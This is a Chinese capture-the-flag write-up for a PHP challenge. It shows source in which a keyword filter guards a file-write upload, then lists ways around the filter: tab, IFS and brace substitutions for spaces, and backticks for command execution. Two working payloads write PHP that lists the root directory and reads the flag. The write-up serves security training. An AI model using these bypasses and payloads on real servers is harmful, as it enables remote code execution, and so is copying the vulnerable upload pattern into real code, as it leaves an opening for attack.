<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
分析代码
?action=pwd
回显
/sandbox/c55e0cb61f7eb238df09ae30a206e5ee
file_put_contents("$dir" . "index.php", $data);
意思是在/sandbox/c55e0cb61f7eb238df09ae30a206e5ee中的index.php写入data数据
waf 过滤了’ 空格 _ php ; eval 等
空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
空格选择%09
过滤单引号,可以使用反引号绕过,在php中,被反引号包裹的代码会被当做命令执行
payload
?action=upload&data=<?echo%09`ls%09/`?>
查看
bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
payload
?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>
得到flag

6648

被折叠的 条评论
为什么被折叠?



